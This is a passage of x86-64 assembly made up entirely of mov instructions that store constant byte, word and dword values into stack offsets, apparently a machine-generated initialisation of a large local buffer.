mov dword [rsp + 0x8938], 0x60cb
mov eax, 0xa86
mov word [rsp + 0x2578], ax
mov dword [rsp + 0x893c], 0x26d6b9b2
mov dword [rsp + 0x8940], 0x19e41183
mov eax, 0xc9f
mov word [rsp + 0x257c], ax
mov eax, 0x760
mov word [rsp + 0x2580], ax
mov dword [rsp + 0x8944], 0x75ea
mov dword [rsp + 0x8948], 0x61ea9bb2
mov dword [rsp + 0x894c], 0x673a891f
mov dword [rsp + 0x8950], 0x271b
mov eax, 0x1f2
mov word [rsp + 0x2584], ax
mov dword [rsp + 0x8954], 0x5ca8d430
mov byte [rsp + 0x5a7], 0x56
mov dword [rsp + 0x8958], 0x28dcd2e8
mov byte [rsp + 0x5a8], 0x56
mov byte [rsp + 0x5a9], 0x46
mov dword [rsp + 0x895c], 0x73e431fe
mov dword [rsp + 0x8960], 0x393c86a1
mov dword [rsp + 0x8964], 0xeda56c5
mov byte [rsp + 0x5aa], 0x24
mov dword [rsp + 0x8968], 0xe5d9
mov dword [rsp + 0x896c], 0x322322e6
mov dword [rsp + 0x8970], 0x3ac1b0a5
mov dword [rsp + 0x8974], 0xa0c3
mov dword [rsp + 0x8978], 0x236d01fa
mov eax, 0x51f
mov word [rsp + 0x2588], ax
mov eax, 0xb8e
mov word [rsp + 0x258c], ax
mov eax, 0x870
mov word [rsp + 0x2590], ax
mov dword [rsp + 0x897c], 0x5620836a
mov dword [rsp + 0x8980], 0x264f
mov byte [rsp + 0x5ab], 0xc5
mov dword [rsp + 0x8984], 0xcd1d
mov dword [rsp + 0x8988], 0x71d8136e
mov dword [rsp + 0x898c], 0x1475a7f9
mov dword [rsp + 0x8990], 0x33b7ab43
mov byte [rsp + 0x5ac], 0x57
mov dword [rsp + 0x8994], 0x1c50
mov dword [rsp + 0x8998], 0x2931
mov eax, 0x6ea
mov word [rsp + 0x2594], ax
mov dword [rsp + 0x899c], 0x5eb84d7c
mov dword [rsp + 0x89a0], 0x513a
mov eax, 0xeba
mov word [rsp + 0x2598], ax
mov eax, 0xced
mov word [rsp + 0x259c], ax
mov dword [rsp + 0x89a4], 0x4fb6f71c
mov dword [rsp + 0x89a8], 0xc4b61f9
mov dword [rsp + 0x89ac], 0x2f4ff292
mov dword [rsp + 0x89b0], 0x2932
mov eax, 0x40b
mov word [rsp + 0x25a0], ax
mov dword [rsp + 0x89b4], 0xf275
mov dword [rsp + 0x89b8], 0x7e6d287e
mov eax, 0xce4
mov word [rsp + 0x25a4], ax
mov byte [rsp + 0x5ad], 0x7a
mov eax, 0x3d0
mov word [rsp + 0x25a8], ax
mov dword [rsp + 0x89bc], 0x285807df
mov byte [rsp + 0x5ae], 0x60
mov dword [rsp + 0x89c0], 0x2c50e769
mov dword [rsp + 0x89c4], 0xfe623f4
mov dword [rsp + 0x89c8], 0x3286933f
mov dword [rsp + 0x89cc], 0x1cd9f762
mov byte [rsp + 0x5af], 0x13
mov byte [rsp + 0x5b0], 0x25
mov byte [rsp + 0x5b1], 0x4a
mov dword [rsp + 0x89d0], 0x3ceda9a3
mov byte [rsp + 0x5b2], 0x88
mov eax, 0x82d
mov word [rsp + 0x25ac], ax
mov byte [rsp + 0x5b3], 0xb8
mov dword [rsp + 0x89d4], 0x14c2adaa
mov byte [rsp + 0x5b4], 0xfb
mov byte [rsp + 0x5b5], 0x96
mov byte [rsp + 0x5b6], 0x31
mov dword [rsp + 0x89d8], 0xfcd4
mov byte [rsp + 0x5b7], 0x5c
mov byte [rsp + 0x5b8], 0x36
mov dword [rsp + 0x89dc], 0x586b5e28
mov dword [rsp + 0x89e0], 0xef14
mov dword [rsp + 0x89e4], 0x66e1f58b
mov eax, 0xaf6
mov word [rsp + 0x25b0], ax
mov eax, 0xffa
mov word [rsp + 0x25b4], ax
mov dword [rsp + 0x89e8], 0xa9c15e9
mov byte [rsp + 0x5b9], 0x63
mov dword [rsp + 0x89ec], 0x7fb4f969
mov dword [rsp + 0x89f0], 0xa6b7
mov byte [rsp + 0x5ba], 0x49
mov eax, 0x18f
mov word [rsp + 0x25b8], ax
mov eax, 0x7b1
mov word [rsp + 0x25bc], ax
mov dword [rsp + 0x89f4], 0xb3e30e5
mov dword [rsp + 0x89f8], 0x7ce5f555
mov dword [rsp + 0x89fc], 0x7f8c19b9
mov eax, 0x1b5
mov word [rsp + 0x25c0], ax
mov dword [rsp + 0x8a00], 0x16faf1a7
mov eax, 0xca2
mov word [rsp + 0x25c4], ax
mov dword [rsp + 0x8a04], 0x7d6bd647
mov dword [rsp + 0x8a08], 0x24610915
mov byte [rsp + 0x5bb], 0x56
mov dword [rsp + 0x8a0c], 0x144c418d
mov byte [rsp + 0x5bc], 0x70
mov eax, 0xa4a
mov word [rsp + 0x25c8], ax
mov dword [rsp + 0x8a10], 0x44df
mov eax, 0x96c
mov word [rsp + 0x25cc], ax
mov dword [rsp + 0x8a14], 0x4721501b
mov dword [rsp + 0x8a18], 0x7a277f75
mov dword [rsp + 0x8a1c], 0x463f98ff
mov byte [rsp + 0x5bd], 0x3b
mov byte [rsp + 0x5be], 0x3d
mov dword [rsp + 0x8a20], 0x5b436c4a
mov eax, 0x97b
mov word [rsp + 0x25d0], ax
mov dword [rsp + 0x8a24], 0x317cad09
mov byte [rsp + 0x5bf], 0x6f
mov dword [rsp + 0x8a28], 0x7429
mov byte [rsp + 0x5c0], 0xd
mov dword [rsp + 0x8a2c], 0x4a14172e
mov eax, 0x7cc
mov word [rsp + 0x25d4], ax
mov dword [rsp + 0x8a30], 0x5222ffee
mov byte [rsp + 0x5c1], 0xc6
mov dword [rsp + 0x8a34], 0x932b
mov byte [rsp + 0x5c2], 0xc
mov dword [rsp + 0x8a38], 0x76c9327c
mov eax, 0x788
mov word [rsp + 0x25d8], ax
mov dword [rsp + 0x8a3c], 0xdded
mov eax, 0x45f
mov word [rsp + 0x25dc], ax
mov byte [rsp + 0x5c3], 0x4d
mov byte [rsp + 0x5c4], 0x8b
mov dword [rsp + 0x8a40], 0x6d1d425d
mov dword [rsp + 0x8a44], 0x2fe8
mov dword [rsp + 0x8a48], 0x45de9f0e
mov eax, 0x1d7
mov word [rsp + 0x25e0], ax
mov dword [rsp + 0x8a4c], 0x5ffee141
mov dword [rsp + 0x8a50], 0x2471
mov byte [rsp + 0x5c5], 0xe7
mov dword [rsp + 0x8a54], 0x57f52df9
mov eax, 0x22f
mov word [rsp + 0x25e4], ax
mov dword [rsp + 0x8a58], 0x4c82
mov dword [rsp + 0x8a5c], 0x6eeb5e39
mov dword [rsp + 0x8a60], 0xa54
mov dword [rsp + 0x8a64], 0x7a0fc229
mov dword [rsp + 0x8a68], 0x4f8f6fe7
mov eax, 0x76
mov word [rsp + 0x25e8], ax
mov byte [rsp + 0x5c6], 0x85
mov dword [rsp + 0x8a6c], 0xfda51d8
mov byte [rsp + 0x5c7], 0x75
mov eax, 0x4a9
mov word [rsp + 0x25ec], ax
mov byte [rsp + 0x5c8], 0xf1
mov dword [rsp + 0x8a70], 0x79424b79
mov dword [rsp + 0x8a74], 0x7b5d53d5
mov dword [rsp + 0x8a78], 0x1cb3
mov dword [rsp + 0x8a7c], 0x2c99d888
mov eax, 0xa7a
mov word [rsp + 0x25f0], ax
mov dword [rsp + 0x8a80], 0x238ee30e
mov eax, 0xaf8
mov word [rsp + 0x25f4], ax
mov byte [rsp + 0x5c9], 0xf
mov eax, 0x873
mov word [rsp + 0x25f8], ax
mov dword [rsp + 0x8a84], 0x2e1da770
mov eax, 0x471
mov word [rsp + 0x25fc], ax
mov byte [rsp + 0x5ca], 0x74
mov eax, 0x230
mov word [rsp + 0x2600], ax
mov dword [rsp + 0x8a88], 0x2e97
mov dword [rsp + 0x8a8c], 0x3b05
mov eax, 0xa7d
mov word [rsp + 0x2604], ax
mov dword [rsp + 0x8a90], 0x7afc0073
mov byte [rsp + 0x5cb], 0x3e
mov eax, 0xbf3
mov word [rsp + 0x2608], ax
mov dword [rsp + 0x8a94], 0x8817
mov eax, 0xe35
mov word [rsp + 0x260c], ax
mov dword [rsp + 0x8a98], 0x21227e38
mov byte [rsp + 0x5cc], 0x55
mov dword [rsp + 0x8a9c], 0x55b7a5d3
mov dword [rsp + 0x8aa0], 0x4b14
mov dword [rsp + 0x8aa4], 0x2e138ebb
mov dword [rsp + 0x8aa8], 0x5a35e396
mov dword [rsp + 0x8aac], 0x476473b5
mov dword [rsp + 0x8ab0], 0x1fd6
mov dword [rsp + 0x8ab4], 0xc201c6e
mov eax, 0x5cd
mov word [rsp + 0x2610], ax
mov dword [rsp + 0x8ab8], 0x754f2948
mov dword [rsp + 0x8abc], 0x2e6411bf
mov dword [rsp + 0x8ac0], 0x4c4c592d
mov dword [rsp + 0x8ac4], 0x658370c9
mov dword [rsp + 0x8ac8], 0x32adf27e
mov dword [rsp + 0x8acc], 0x628c396a
mov dword [rsp + 0x8ad0], 0x66208019
mov dword [rsp + 0x8ad4], 0x89e1
mov byte [rsp + 0x5cd], 0x3c
mov dword [rsp + 0x8ad8], 0x156809af
mov byte [rsp + 0x5ce], 0x47
mov byte [rsp + 0x5cf], 0xe3
mov byte [rsp + 0x5d0], 0x16
mov byte [rsp + 0x5d1], 0xad
mov eax, 0x62d
mov word [rsp + 0x2614], ax
mov eax, 0x511
mov word [rsp + 0x2618], ax
mov eax, 0x716
mov word [rsp + 0x261c], ax
mov eax, 0xdf5
mov word [rsp + 0x2620], ax
mov eax, 0x690
mov word [rsp + 0x2624], ax
mov dword [rsp + 0x8adc], 0x4a2a
mov byte [rsp + 0x5d2], 0x74
mov eax, 0xaee
mov word [rsp + 0x2628], ax
mov eax, 0xd94
mov word [rsp + 0x262c], ax
mov dword [rsp + 0x8ae0], 0x11d73669
mov dword [rsp + 0x8ae4], 0x54bc087d
mov dword [rsp + 0x8ae8], 0x431ca1d3
mov dword [rsp + 0x8aec], 0x6d9a5d5e
mov dword [rsp + 0x8af0], 0x53ea2be
mov dword [rsp + 0x8af4], 0xdde2
mov eax, 0x9b9
mov word [rsp + 0x2630], ax
mov dword [rsp + 0x8af8], 0x3bb2a996
mov dword [rsp + 0x8afc], 0x668af489
mov byte [rsp + 0x5d3], 0x1c
mov byte [rsp + 0x5d4], 0x8f
mov dword [rsp + 0x8b00], 0x7e1e470a
mov dword [rsp + 0x8b04], 0x40a9dc09
mov dword [rsp + 0x8b08], 0x325e
mov byte [rsp + 0x5d5], 0x6c
mov byte [rsp + 0x5d6], 0x28
mov eax, 0xa63
mov word [rsp + 0x2634], ax
mov eax, 0x4d1
mov word [rsp + 0x2638], ax
mov dword [rsp + 0x8b0c], 0xc24c
mov eax, 0x9db
mov word [rsp + 0x263c], ax
mov byte [rsp + 0x5d7], 0xdc
mov dword [rsp + 0x8b10], 0xbbd0cf1
mov dword [rsp + 0x8b14], 0x3fe0
mov byte [rsp + 0x5d8], 3
mov dword [rsp + 0x8b18], 0xa46d
mov dword [rsp + 0x8b1c], 0x5a1089cc
mov dword [rsp + 0x8b20], 0x3d2e
mov dword [rsp + 0x8b24], 0x4265784d
mov dword [rsp + 0x8b28], 0xe628
mov dword [rsp + 0x8b2c], 0x1a31f3fc
mov eax, 0x663
mov word [rsp + 0x2640], ax
mov dword [rsp + 0x8b30], 0x84bd
mov dword [rsp + 0x8b34], 0x35478033
mov eax, 0x84a
mov word [rsp + 0x2644], ax
mov dword [rsp + 0x8b38], 0xf992927
mov dword [rsp + 0x8b3c], 0x1b697940
mov dword [rsp + 0x8b40], 0x63604298
mov dword [rsp + 0x8b44], 0x4fd01789
mov byte [rsp + 0x5d9], 0xc5
mov eax, 0x54e
mov word [rsp + 0x2648], ax
mov byte [rsp + 0x5da], 0x48
mov dword [rsp + 0x8b48], 0x9207
mov byte [rsp + 0x5db], 0xf0
mov dword [rsp + 0x8b4c], 0x2d6110da
mov byte [rsp + 0x5dc], 9
mov dword [rsp + 0x8b50], 0x7c8c
mov dword [rsp + 0x8b54], 0x5f299283
mov dword [rsp + 0x8b58], 0x2302
mov byte [rsp + 0x5dd], 0x67
mov dword [rsp + 0x8b5c], 0xf6a8
mov dword [rsp + 0x8b60], 0x54d19a8f
mov dword [rsp + 0x8b64], 0x43df3aa1
mov dword [rsp + 0x8b68], 0xa55
mov dword [rsp + 0x8b6c], 0x408b8a5b
mov dword [rsp + 0x8b70], 0x74fe7958
mov dword [rsp + 0x8b74], 0x71fb
mov eax, 0x507
mov word [rsp + 0x264c], ax
mov byte [rsp + 0x5de], 3
mov eax, 0x35
mov word [rsp + 0x2650], ax
mov byte [rsp + 0x5df], 0x17
mov dword [rsp + 0x8b78], 0xf996
mov byte [rsp + 0x5e0], 0xaa
mov byte [rsp + 0x5e1], 0x45
mov byte [rsp + 0x5e2], 0x96
mov eax, 0x41
mov word [rsp + 0x2654], ax
mov dword [rsp + 0x8b7c], 0x27aabcfe
mov dword [rsp + 0x8b80], 0x2f28a3f4
mov dword [rsp + 0x8b84], 0x9663
mov byte [rsp + 0x5e3], 0x25
mov dword [rsp + 0x8b88], 0xdd21cc8
mov eax, 0xa1c
mov word [rsp + 0x2658], ax
mov dword [rsp + 0x8b8c], 0x6f7b404
mov byte [rsp + 0x5e4], 2
mov dword [rsp + 0x8b90], 0x18aa5879
mov byte [rsp + 0x5e5], 0x73
mov dword [rsp + 0x8b94], 0xff04
mov byte [rsp + 0x5e6], 0x1b
mov eax, 0x769
mov word [rsp + 0x265c], ax
mov dword [rsp + 0x8b98], 0x517688fe
mov dword [rsp + 0x8b9c], 0x1a3222ba
mov dword [rsp + 0x8ba0], 0x940d
mov eax, 0x667
mov word [rsp + 0x2660], ax
mov dword [rsp + 0x8ba4], 0x9def
mov dword [rsp + 0x8ba8], 0x90e11c0
mov dword [rsp + 0x8bac], 0xa51e
mov dword [rsp + 0x8bb0], 0x4df7c5f
mov eax, 0x2d0
mov word [rsp + 0x2664], ax
mov dword [rsp + 0x8bb4], 0x7dec8f4c
mov dword [rsp + 0x8bb8], 0xa518
mov eax, 0xdf6
mov word [rsp + 0x2668], ax
mov byte [rsp + 0x5e7], 0x8b
mov byte [rsp + 0x5e8], 0xc8
mov dword [rsp + 0x8bbc], 0x2f54ac20
mov byte [rsp + 0x5e9], 0x68
mov dword [rsp + 0x8bc0], 0x5fd4
mov dword [rsp + 0x8bc4], 0xd858
mov dword [rsp + 0x8bc8], 0x7b19e7fb
mov eax, 0xab0
mov word [rsp + 0x266c], ax
mov byte [rsp + 0x5ea], 0x65
mov dword [rsp + 0x8bcc], 0x38063579
mov dword [rsp + 0x8bd0], 0x3018
mov dword [rsp + 0x8bd4], 0x975b
mov byte [rsp + 0x5eb], 0x13
mov eax, 0x2fa
mov word [rsp + 0x2670], ax
mov byte [rsp + 0x5ec], 0xa8
mov byte [rsp + 0x5ed], 0x69
mov dword [rsp + 0x8bd8], 0xf21ec06
mov eax, 0xed2
mov word [rsp + 0x2674], ax
mov byte [rsp + 0x5ee], 2
mov eax, 0x341
mov word [rsp + 0x2678], ax
mov dword [rsp + 0x8bdc], 0x685739a6
mov eax, 0x529
mov word [rsp + 0x267c], ax
mov byte [rsp + 0x5ef], 0xb9
mov eax, 0xb7e
mov word [rsp + 0x2680], ax
mov eax, 0x59e
mov word [rsp + 0x2684], ax
mov dword [rsp + 0x8be0], 0x5a16b1f1
mov eax, 0x4ce
mov word [rsp + 0x2688], ax
mov dword [rsp + 0x8be4], 0x1a5d
mov dword [rsp + 0x8be8], 0x4a02ff00
mov byte [rsp + 0x5f0], 0xfc
mov dword [rsp + 0x8bec], 0x22b4
mov dword [rsp + 0x8bf0], 0x5be2d980
mov eax, 0x42
mov word [rsp + 0x268c], ax
mov dword [rsp + 0x8bf4], 0x2ddf
mov dword [rsp + 0x8bf8], 0x440e9ca1
mov eax, 0x5a6
mov word [rsp + 0x2690], ax
mov dword [rsp + 0x8bfc], 0x7f2c101f
mov dword [rsp + 0x8c00], 0x4f04
mov dword [rsp + 0x8c04], 0x8e5
mov eax, 0xa96
mov word [rsp + 0x2694], ax
mov dword [rsp + 0x8c08], 0xad7c
mov dword [rsp + 0x8c0c], 0x5a565d18
mov dword [rsp + 0x8c10], 0x1073f140
mov byte [rsp + 0x5f1], 8
mov dword [rsp + 0x8c14], 0x2af2
mov dword [rsp + 0x8c18], 0x1a44bc39
mov dword [rsp + 0x8c1c], 0xa5b17fe
mov eax, 0x43b
mov word [rsp + 0x2698], ax
mov eax, 0xcfe
mov word [rsp + 0x269c], ax
mov eax, 0xba6
mov word [rsp + 0x26a0], ax
mov dword [rsp + 0x8c20], 0x29ef09ac
mov dword [rsp + 0x8c24], 0x1c1d
mov byte [rsp + 0x5f2], 0xa7
mov dword [rsp + 0x8c28], 0x814e
mov byte [rsp + 0x5f3], 0x3b
mov dword [rsp + 0x8c2c], 0xa6ba
mov eax, 0x525
mov word [rsp + 0x26a4], ax
mov dword [rsp + 0x8c30], 0x62f8e076
mov dword [rsp + 0x8c34], 0x326e9f0f
mov dword [rsp + 0x8c38], 0x475a
mov byte [rsp + 0x5f4], 0x2b
mov dword [rsp + 0x8c3c], 0x6fd6df16
mov eax, 0x7a8
mov word [rsp + 0x26a8], ax
mov eax, 0xb62
mov word [rsp + 0x26ac], ax
mov dword [rsp + 0x8c40], 0xe749
mov byte [rsp + 0x5f5], 0x12
mov byte [rsp + 0x5f6], 0x7a
mov dword [rsp + 0x8c44], 0x2410
mov eax, 0x8e4
mov word [rsp + 0x26b0], ax
mov eax, 0x2ab
mov word [rsp + 0x26b4], ax
mov dword [rsp + 0x8c48], 0x5673
mov dword [rsp + 0x8c4c], 0x25f44a
mov dword [rsp + 0x8c50], 0x6ebb3f11
mov byte [rsp + 0x5f7], 0x1a
mov eax, 0x297
mov word [rsp + 0x26b8], ax
mov dword [rsp + 0x8c54], 0xa786
mov eax, 0x2e9
mov word [rsp + 0x26bc], ax
mov dword [rsp + 0x8c58], 0x1614c0d8
mov dword [rsp + 0x8c5c], 0xb8c3123
mov dword [rsp + 0x8c60], 0xadc0a1
mov dword [rsp + 0x8c64], 0x2abfa784
mov dword [rsp + 0x8c68], 0xfe4f
mov byte [rsp + 0x5f8], 0x7c
mov byte [rsp + 0x5f9], 0x6b
mov dword [rsp + 0x8c6c], 0xb18c
mov dword [rsp + 0x8c70], 0x9fcb436
mov dword [rsp + 0x8c74], 0x6a2cc3d2
mov eax, 0x324
mov word [rsp + 0x26c0], ax
mov dword [rsp + 0x8c78], 0xc9a7
mov eax, 0x825
mov word [rsp + 0x26c4], ax
mov eax, 0x220
mov word [rsp + 0x26c8], ax
mov dword [rsp + 0x8c7c], 0x2f17fbe3
mov byte [rsp + 0x5fa], 0x31
mov dword [rsp + 0x8c80], 0x7366
mov byte [rsp + 0x5fb], 0x94
mov eax, 0x577
mov word [rsp + 0x26cc], ax
mov eax, 0xa94
mov word [rsp + 0x26d0], ax
mov dword [rsp + 0x8c84], 0x7b966743
mov dword [rsp + 0x8c88], 0x740ef1be
mov byte [rsp + 0x5fc], 0xe
mov dword [rsp + 0x8c8c], 0x70f2bb7f
mov byte [rsp + 0x5fd], 0x5f
mov eax, 0xa93
mov word [rsp + 0x26d4], ax
mov dword [rsp + 0x8c90], 0x16f07c9
mov byte [rsp + 0x5fe], 0x1c
mov byte [rsp + 0x5ff], 0x88
mov eax, 0x623
mov word [rsp + 0x26d8], ax
mov byte [rsp + 0x600], 0x2b
mov dword [rsp + 0x8c94], 0x65c69ab4
mov byte [rsp + 0x601], 7
mov eax, 0xd93
mov word [rsp + 0x26dc], ax
mov byte [rsp + 0x602], 0xa2
mov dword [rsp + 0x8c98], 0x48aa00c3
mov byte [rsp + 0x603], 0xa3
mov eax, 0x5e6
mov word [rsp + 0x26e0], ax
mov dword [rsp + 0x8c9c], 0x268dd70d
mov dword [rsp + 0x8ca0], 0x1c5e9885
mov eax, 0x122
mov word [rsp + 0x26e4], ax
mov dword [rsp + 0x8ca4], 0x5292aeef
mov byte [rsp + 0x604], 0xb3
mov dword [rsp + 0x8ca8], 0x441b27d3
mov dword [rsp + 0x8cac], 0xef6d
mov dword [rsp + 0x8cb0], 0x69d2
mov byte [rsp + 0x605], 0x90
mov dword [rsp + 0x8cb4], 0xf968
mov byte [rsp + 0x606], 0x55
mov dword [rsp + 0x8cb8], 0x32527bad
mov byte [rsp + 0x607], 0xc
mov dword [rsp + 0x8cbc], 0x2bf1fa1e
mov dword [rsp + 0x8cc0], 0x28a652f
mov eax, 0x1c2
mov word [rsp + 0x26e8], ax
mov dword [rsp + 0x8cc4], 0x44aa
mov eax, 0xf4c
mov word [rsp + 0x26ec], ax
mov byte [rsp + 0x608], 0xd0
mov byte [rsp + 0x609], 0xa5
mov dword [rsp + 0x8cc8], 0x4f9c
mov dword [rsp + 0x8ccc], 0xc31
mov dword [rsp + 0x8cd0], 0x31cc6126
mov dword [rsp + 0x8cd4], 0x5165b5b6
mov eax, 0xd50
mov word [rsp + 0x26f0], ax
mov dword [rsp + 0x8cd8], 0x2e994dde
mov dword [rsp + 0x8cdc], 0x2b7059c2
mov dword [rsp + 0x8ce0], 0x469a0356
mov dword [rsp + 0x8ce4], 0x2e5
mov dword [rsp + 0x8ce8], 0x81257ec
mov byte [rsp + 0x60a], 0x28
mov dword [rsp + 0x8cec], 0x3e05fb88
mov byte [rsp + 0x60b], 0x7d
mov dword [rsp + 0x8cf0], 0x2b3276c5
mov dword [rsp + 0x8cf4], 0xc4ce
mov dword [rsp + 0x8cf8], 0x63d00633
mov dword [rsp + 0x8cfc], 0x52f7f8b9
mov eax, 0x4da
mov word [rsp + 0x26f4], ax
mov dword [rsp + 0x8d00], 0x3ca00cc5
mov byte [rsp + 0x60c], 0xb9
mov dword [rsp + 0x8d04], 0x2410
mov dword [rsp + 0x8d08], 0x6ce5
mov byte [rsp + 0x60d], 0x4f
mov eax, 0x27d
mov word [rsp + 0x26f8], ax
mov eax, 0xbfb
mov word [rsp + 0x26fc], ax
mov dword [rsp + 0x8d0c], 0x2dcc
mov eax, 0xa65
mov word [rsp + 0x2700], ax
mov dword [rsp + 0x8d10], 0x1101379a
mov byte [rsp + 0x60e], 0x4a
mov eax, 0x15d
mov word [rsp + 0x2704], ax
mov dword [rsp + 0x8d14], 0x7e0fbf8
mov dword [rsp + 0x8d18], 0x18d61667
mov dword [rsp + 0x8d1c], 0xba8e
mov byte [rsp + 0x60f], 0x2c
mov byte [rsp + 0x610], 0x6e
mov dword [rsp + 0x8d20], 0x23bb
mov dword [rsp + 0x8d24], 0x64a3ed2c
mov dword [rsp + 0x8d28], 0x6015bf47
mov dword [rsp + 0x8d2c], 0xa844
mov byte [rsp + 0x611], 0x76
mov dword [rsp + 0x8d30], 0x42541e97
mov eax, 0xcea
mov word [rsp + 0x2708], ax
mov dword [rsp + 0x8d34], 0xd654
mov dword [rsp + 0x8d38], 0x70ba
mov dword [rsp + 0x8d3c], 0x2a1b170b
mov dword [rsp + 0x8d40], 0x19be4968
mov dword [rsp + 0x8d44], 0x2399aded
mov dword [rsp + 0x8d48], 0x5bdf4444
mov dword [rsp + 0x8d4c], 0x3dde43f7
mov dword [rsp + 0x8d50], 0x7209425d
mov dword [rsp + 0x8d54], 0x7e23b1cd
mov dword [rsp + 0x8d58], 0x642d406d
mov dword [rsp + 0x8d5c], 0x213d3609
mov byte [rsp + 0x612], 0
mov eax, 0x7d9
mov word [rsp + 0x270c], ax
mov eax, 0x25f
mov word [rsp + 0x2710], ax
mov dword [rsp + 0x8d60], 0x1debdbc9
mov dword [rsp + 0x8d64], 0xd9e0
mov dword [rsp + 0x8d68], 0x9e8f
mov dword [rsp + 0x8d6c], 0x29f9b4fe
mov eax, 0x3c2
mov word [rsp + 0x2714], ax
mov dword [rsp + 0x8d70], 0x256284c9
mov byte [rsp + 0x613], 0x2a
mov dword [rsp + 0x8d74], 0xd104
mov eax, 0x448
mov word [rsp + 0x2718], ax
mov dword [rsp + 0x8d78], 0x1394
mov dword [rsp + 0x8d7c], 0x4353
mov byte [rsp + 0x614], 0x15
mov eax, 0xca2
mov word [rsp + 0x271c], ax
mov dword [rsp + 0x8d80], 0xf8c28f2
mov dword [rsp + 0x8d84], 0x33a8bdfa
mov eax, 0x403
mov word [rsp + 0x2720], ax
mov dword [rsp + 0x8d88], 0xe13
mov eax, 0x79d
mov word [rsp + 0x2724], ax
mov dword [rsp + 0x8d8c], 0x5c5c
mov eax, 0x48b
mov word [rsp + 0x2728], ax
mov dword [rsp + 0x8d90], 0x1f5dba38
mov dword [rsp + 0x8d94], 0xc68b
mov eax, 0x8a9
mov word [rsp + 0x272c], ax
mov byte [rsp + 0x615], 0x9d
mov dword [rsp + 0x8d98], 0x6ac8ec23
mov dword [rsp + 0x8d9c], 0x6d9b
mov eax, 0x15b
mov word [rsp + 0x2730], ax
mov byte [rsp + 0x616], 0xc1
mov byte [rsp + 0x617], 0x1b
mov dword [rsp + 0x8da0], 0x5873
mov dword [rsp + 0x8da4], 0x38043517
mov dword [rsp + 0x8da8], 0x9334
mov byte [rsp + 0x618], 6
mov dword [rsp + 0x8dac], 0x28c3d39a
mov dword [rsp + 0x8db0], 0x27ecddfa
mov eax, 0x286
mov word [rsp + 0x2734], ax
mov dword [rsp + 0x8db4], 0x5fab
mov dword [rsp + 0x8db8], 0x18f7cbf7
mov byte [rsp + 0x619], 0x50
mov dword [rsp + 0x8dbc], 0x6141a049
mov byte [rsp + 0x61a], 0xee
mov dword [rsp + 0x8dc0], 0x873e
mov dword [rsp + 0x8dc4], 0x386024ce
mov dword [rsp + 0x8dc8], 0x68d2c814
mov eax, 0x153
mov word [rsp + 0x2738], ax
mov dword [rsp + 0x8dcc], 0xd4b
mov dword [rsp + 0x8dd0], 0x7bd7e2ee
mov eax, 0x52f
mov word [rsp + 0x273c], ax
mov byte [rsp + 0x61b], 0xce
mov dword [rsp + 0x8dd4], 0x765e98cb
mov dword [rsp + 0x8dd8], 0x48c95e51
mov dword [rsp + 0x8ddc], 0x5027a1ce
mov byte [rsp + 0x61c], 0x64
mov dword [rsp + 0x8de0], 0x28ea
mov dword [rsp + 0x8de4], 0x1a5d18b2
mov dword [rsp + 0x8de8], 0xee67
mov dword [rsp + 0x8dec], 0x7a9dca3e
mov dword [rsp + 0x8df0], 0x466b9ce3
mov dword [rsp + 0x8df4], 0x649856a2
mov byte [rsp + 0x61d], 0x40
mov byte [rsp + 0x61e], 0x99
mov dword [rsp + 0x8df8], 0x94f5
mov eax, 0xc27
mov word [rsp + 0x2740], ax
mov dword [rsp + 0x8dfc], 0x210c185e
mov byte [rsp + 0x61f], 0xdf
mov dword [rsp + 0x8e00], 0x7382
mov byte [rsp + 0x620], 0x4c
mov eax, 0x2b5
mov word [rsp + 0x2744], ax
mov dword [rsp + 0x8e04], 0x1d8f
mov dword [rsp + 0x8e08], 0xf9c4
mov dword [rsp + 0x8e0c], 0x8f1e
mov byte [rsp + 0x621], 0x7f
mov dword [rsp + 0x8e10], 0x5b9b8293
mov byte [rsp + 0x622], 0x9f
mov dword [rsp + 0x8e14], 0x1047
mov eax, 0x133
mov word [rsp + 0x2748], ax
mov eax, 0x5cd
mov word [rsp + 0x274c], ax
mov dword [rsp + 0x8e18], 0x2c4cf35d
mov byte [rsp + 0x623], 0x71
mov dword [rsp + 0x8e1c], 0x5a2664ce
mov byte [rsp + 0x624], 0x48
mov dword [rsp + 0x8e20], 0xa6d4
mov dword [rsp + 0x8e24], 0xa868
mov byte [rsp + 0x625], 0x41
mov eax, 0x9f8
mov word [rsp + 0x2750], ax
mov byte [rsp + 0x626], 0x46
mov dword [rsp + 0x8e28], 0x6b2f2fb9
mov dword [rsp + 0x8e2c], 0x2925
mov dword [rsp + 0x8e30], 0x42199fe5
mov eax, 0xa89
mov word [rsp + 0x2754], ax
mov dword [rsp + 0x8e34], 0x87fc
mov eax, 0xdd0
mov word [rsp + 0x2758], ax
mov dword [rsp + 0x8e38], 0x7720faf1
mov dword [rsp + 0x8e3c], 0x73dd622c
mov byte [rsp + 0x627], 0xc5
mov dword [rsp + 0x8e40], 0xb6ce
mov dword [rsp + 0x8e44], 0x1bc788cc
mov dword [rsp + 0x8e48], 0x6750
mov dword [rsp + 0x8e4c], 0x314da78a
mov eax, 0x5be
mov word [rsp + 0x275c], ax
mov dword [rsp + 0x8e50], 0x4ce9
mov byte [rsp + 0x628], 0x34
mov eax, 0x45e
mov word [rsp + 0x2760], ax
mov dword [rsp + 0x8e54], 0x5e8f
mov dword [rsp + 0x8e58], 0x51bb37db
mov dword [rsp + 0x8e5c], 0x47df2103
mov byte [rsp + 0x629], 0x69
mov dword [rsp + 0x8e60], 0x8f3b
mov dword [rsp + 0x8e64], 0x4044e724
mov dword [rsp + 0x8e68], 0x4f3f
mov eax, 0x185
mov word [rsp + 0x2764], ax
mov eax, 0x9fa
mov word [rsp + 0x2768], ax
mov dword [rsp + 0x8e6c], 0x25e9
mov dword [rsp + 0x8e70], 0x626f77a9
mov dword [rsp + 0x8e74], 0x25cdc350
mov dword [rsp + 0x8e78], 0x4b689925
mov dword [rsp + 0x8e7c], 0xeb6b
mov eax, 0xd31
mov word [rsp + 0x276c], ax
mov dword [rsp + 0x8e80], 0x366569e
mov dword [rsp + 0x8e84], 0x309f6654
mov dword [rsp + 0x8e88], 0x126fecb2
mov dword [rsp + 0x8e8c], 0x6449647c
mov eax, 0xb64
mov word [rsp + 0x2770], ax
mov dword [rsp + 0x8e90], 0x6c47d760
mov dword [rsp + 0x8e94], 0xd55c
mov eax, 0x469
mov word [rsp + 0x2774], ax
mov dword [rsp + 0x8e98], 0xcf4f
mov eax, 0x53f
mov word [rsp + 0x2778], ax
mov dword [rsp + 0x8e9c], 0xd2e1
mov dword [rsp + 0x8ea0], 0x4df2
mov dword [rsp + 0x8ea4], 0x43e2
